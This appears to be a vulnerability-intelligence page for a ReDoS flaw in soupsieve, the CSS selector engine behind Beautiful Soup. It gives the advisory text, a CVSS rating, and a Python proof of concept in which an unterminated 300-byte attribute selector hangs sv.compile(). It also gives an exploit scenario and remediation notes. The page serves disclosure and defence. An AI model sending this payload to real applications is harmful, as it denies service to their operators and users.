soupsieve CVE-2026-49477
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Remote low-complexity ReDoS needing no auth or interaction where untrusted selectors are compiled; availability-only impact gives C:N/I:N/A:H with scope unchanged.
Primary rating from Vendor (https://github.com/facelessuser/soupsieve).
CVSS VectorVendor: https://github.com/facelessuser/soupsieve
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
1Blast Radius
ecosystem impact- 32,248 pypi packages depend on soupsieve (238 direct, 32,079 indirect)
Ecosystem-wide dependent count for version 2.8.4.
DescriptionCVE.org
Summary
The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.
To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.
Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.
Details
Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern
The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:
- Double-quoted strings:
"[^"\\]*(?:\\.[^"\\]*)*" - Single-quoted strings:
'[^'\\]*(?:\\.[^'\\]*)*' - Unquoted identifiers
When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.
Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.
Key characteristics:
- Input size: Only 300 bytes are needed to trigger a >3 second hang
- Amplification: Each additional character approximately doubles the backtracking time
- No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)
Proof of Concept
import time
import soupsieve as sv
PAYLOAD_LEN = 300
# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
sv.compile(well_formed)
except Exception:
pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")
# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
sv.compile(malformed)
# WARNING: This will hang for >3 seconds
except Exception:
pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")
slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")
# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.Safe testing variant with timeout:
import signal
import soupsieve as sv
def timeout_handler(signum, frame):
raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")
PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)
# 3-second timeout
try:
sv.compile(malformed)
print("Selector compiled (not vulnerable)")
except TimeoutError as e:
print(f"VULNERABLE: {e}")
except Exception as e:
print(f"Other error: {e}")
finally:
signal.alarm(0)
# Cancel the alarmImpact
Severity: High
An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:
- Tiny payload: Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits
- No special characters: The payload consists entirely of printable ASCII characters (
[a="xxx...) - Exponential scaling: Each additional byte approximately doubles the backtracking time, making the attack easily tuneable
- Thread blocking: The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)
| Parameter | Value |
|---|---|
| Input size | 300 bytes |
| CPU time consumed | >3 seconds (exponential with payload length) |
| Memory consumed | Negligible (CPU-only attack) |
| Authentication required | None |
| User interaction required | None |
Deployment impact: In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.
Downstream exposure: soupsieve is an automatic dependency of beautifulsoup4, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.
---
Credit
The vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/
Articles & Coverage 1
AnalysisAI
Denial of service in soupsieve, the CSS selector engine bundled with Beautiful Soup 4, lets remote attackers hang a worker thread by submitting a ~300-byte attribute selector with an unterminated quoted value (e.g. '[a="xxxx...'), triggering catastrophic regular-expression backtracking in the VALUE pattern of css_parser.py. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires that the target application compile an attacker-influenced CSS selector string via soupsieve.compile() or Beautiful Soup's .select()/.select_one() - attacker control over the selector text, not merely the HTML being parsed, is the concrete prerequisite. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base 7.5) accurately reflects an availability-only network DoS with low complexity and no authentication or user interaction, consistent with the CWE-400 ReDoS mechanism. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A web application exposes a scraping or filtering feature where users supply a CSS selector that the backend passes to Beautiful Soup's .select(). An attacker submits the ~300-byte value '[a="' followed by 300 'x' characters in a form field or API parameter, and the unterminated quote sends the VALUE regex into multi-second exponential backtracking, pinning a worker thread; a few such requests in parallel exhaust the worker pool and deny service. … |
| Remediation | Patch available per vendor advisory (GHSA-836r-79rf-4m37); the provided data does not include an exact fixed version, so upgrade soupsieve to the fixed release named in the advisory at https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37 and verify that version there before deploying. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: identify all systems running beautifulsoup4 and soupsieve (search requirements.txt, dependency trees, container images, and package manifests across development and production environments). …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-836r-79rf-4m37